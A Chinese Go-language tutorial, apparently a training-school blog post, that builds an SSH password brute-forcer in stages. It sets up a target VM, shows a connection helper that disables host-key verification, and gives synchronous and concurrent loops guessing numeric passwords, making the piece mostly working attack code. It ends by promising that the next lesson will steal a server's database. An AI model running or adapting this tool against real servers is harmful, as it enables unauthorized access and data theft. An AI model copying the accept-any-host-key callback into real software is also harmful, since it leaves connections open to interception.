本篇文章IT兄弟连GO语言学院小美
给读者们分享一下
对GO语言感兴趣想要学习Golang开发技术的小伙伴就随小编来了解一下吧。
**需求和思路分析**
- 现在的很多小伙伴们都拥有了自己的云服务器了,lots of them!
- 平时大家是怎么做服务器管理的呢?相信多数人都是通过SSH客户端连接过去的吧;
- 无论PUTTY还是XShell,我们只需要一个登陆密码,就能轻松地登陆到远程服务器终端,然后对我们的服务器做任何事情;
- 只需要一个密码就可以了!
- Go语言有SSH连接的第三方库,参数自然是用户名、密码、远程IP和端口,而密码我们可以通过暴力枚举来进行破解;
**建立靶机**
安装并运行SSH服务,以Ubuntu为例
```
//安装SSH服务
sudo apt install openssh-server
//查看服务状态
sudo systemctl status ssh
//启动服务
sudo systemctl start ssh
```
![在这里插入图片描述](https://img-blog.csdnimg.cn/20190221161620613.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTA5ODY3NzY=,size_16,color_FFFFFF,t_70)
使用另一台虚拟机与之进行SSH连接
```
ssh sriouyang@192.168.137.152
```
![在这里插入图片描述](https://img-blog.csdnimg.cn/20190221162030883.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTA5ODY3NzY=,size_16,color_FFFFFF,t_70)
**安装第三方库**
```
go get golang.org/x/crypto/ssh
```
访问golang.org需要翻墙,我们可以先手动在GOPATH/src下创建golang.org/x目录,cd到这个目录,然后执行
```
git clone https://github.com/golang/crypto.git
```
**连接SSH服务器**
核心API如下:
```
func Dial(network, addr string, config *ClientConfig) (*Client, error)
func (c *Client) NewSession() (*Session, error)
```
从核心API出发,一步一步按图索骥,我们就能够写出连接的完整代码了
```
/*获取客户端连接*/
func SSHConnect(user, password, host string, port int) (*ssh.Client, *ssh.Session, error) {
var (
authMethods []ssh.AuthMethod
addr string
clientConfig *ssh.ClientConfig
client *ssh.Client
session *ssh.Session
err error
)
// 创建密码校验方法
authMethods = make([]ssh.AuthMethod, 0)
authMethods = append(authMethods, ssh.Password(password))
// 创建一个格式合法的回调函数
hostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
}
/*创建SSH客户端配置*/
clientConfig = &ssh.ClientConfig{
User: user,
Auth: authMethods,
// Timeout: 30 * time.Second,
HostKeyCallback: hostKeyCallbk,
}
// 连接地址
addr = fmt.Sprintf("%s:%d", host, port)
// 拨号并获取SSH客户端
if client, err = ssh.Dial("tcp", addr, clientConfig); err != nil {
return nil, nil, err
}
// 创建新的会话
if session, err = client.NewSession(); err != nil {
return nil, nil, err
}
return client, session, nil
}
```
**测试密码正确与否**
下面的代码中,我们分别使用正确的密码和错误的密码尝试与靶机建立SSH连接,连接成功时,返回的error为空,说明密码是正确的,否则返回具体的error;
```
/*成功与失败*/
func main() {
//正确密码
_, session, err := SSHConnect("sriouyang", "123456", "192.168.137.152", 22)
//err为空
fmt.Println(session, err)
//错误密码
_, session, err = SSHConnect("sriouyang", "654321", "192.168.137.152", 22)
//err不为空
fmt.Println(session, err)
}
```
![在这里插入图片描述](https://img-blog.csdnimg.cn/20190221162930706.png)
**同步暴力破解密码**
以6位纯数字密码为例,我们就可以这样来破解了
```
/*同步暴力破解所有6位纯数字密码*/
func main02() {
for i := 0; i < 1000000; i++ {
//尝试使用当前密码登录SSH服务器
pwd := strconv.Itoa(i)
_, session, e := SSHConnect("sirouyang", pwd, "192.168.137.152", 22)
fmt.Println(session, e)
//根据错误是否为空判断密码是否正确
if e != nil {
fmt.Println(i, "尝试失败")
} else {
fmt.Println(i, "正确密码", pwd)
break
}
}
}
```
![在这里插入图片描述](https://img-blog.csdnimg.cn/2019022116315311.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTA5ODY3NzY=,size_16,color_FFFFFF,t_70)
**异步暴力破解密码**
- 同步破解每次密码尝试都需要等待很久才能返回结果,对于几千万次的不同组合的尝试来说,这显然是不OK的,于是Go语言的并发来了!
- 我们对上述同步破解代码进行改进,将每次尝试丢给一个不同的协程去做,这样我们就能并发地测试多个密码了;
- 注意事项1:每次尝试失败后,要断开客户端连接,否则很快连接就满了或者无效了,就会出现各种各样的BUG;
- 注意事项2:不要真的开辟百万并发协程,那只是一个美好的理想,现实中服务器端的最大连接数是有限的,所以我们使用管道模拟信号量,来控制最大并发数,此处桫哥使用了5并发;
- 注意事项3:在统计尝试次数时,尝试次数这个变量不要并发地去修改,否则容易出错,桫哥在此处使用了原子变量做同步修改;
完整代码实现如下:
```
/*异步破解*/
func main03() {
//chQuit := make(chan string)
//控制并发数
chSem := make(chan int, 5)
//全局等待组
var wg sync.WaitGroup
//尝试次数
var count int64
/*暴力尝试密码*/
for i := 123400; i < 123500; i++ {
//开辟尝试协程并注册到等待组
wg.Add(1)
go func(i int) {
//使用管道做并发数控制
chSem <- i
//尝试连接
pwd := strconv.Itoa(i)
client, session, e := SSHConnect("sriouyang", pwd, "192.168.137.152", 22)
//最终关闭客户端
defer func() {
if session != nil {
session.Close()
}
if client != nil {
client.Close()
}
}()
//记录尝试次数,此处使用原子操作保证同步
atomic.AddInt64(&count, 1)
fmt.Println(e)
//判断破解是否成功
if e != nil {
fmt.Println(i, "密码错误")
if pwd == "123456" {
log.Print(e)
}
} else {
fmt.Println(i, "正确密码")
fmt.Println("共尝试", count, "次")
os.Exit(0)
}
//让出并发位置,从等待组中注销
<-chSem
wg.Done()
}(i)
}
//等待所有协程结束
wg.Wait()
fmt.Println("main over!")
}
```
执行结果如下![在这里插入图片描述](https://img-blog.csdnimg.cn/20190221164145924.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTA5ODY3NzY=,size_16,color_FFFFFF,t_70)
破解了密码就等于完全控制了服务器,下一节我们将把服务器数据库里的数据盗走,名曰“脱库”;
想要了解更多关于GO语言开发方面内容的小伙伴,
请关注IT兄弟连官网、公众号:GO语言研习社,
IT兄弟连教育有专业的微软、谷歌讲师为您指导,
此外IT兄弟连老师精心推出的GO语言教程定能让你快速掌握GO语言从入门到精通开发实战技能。
有疑问加站长微信联系(非本文作者)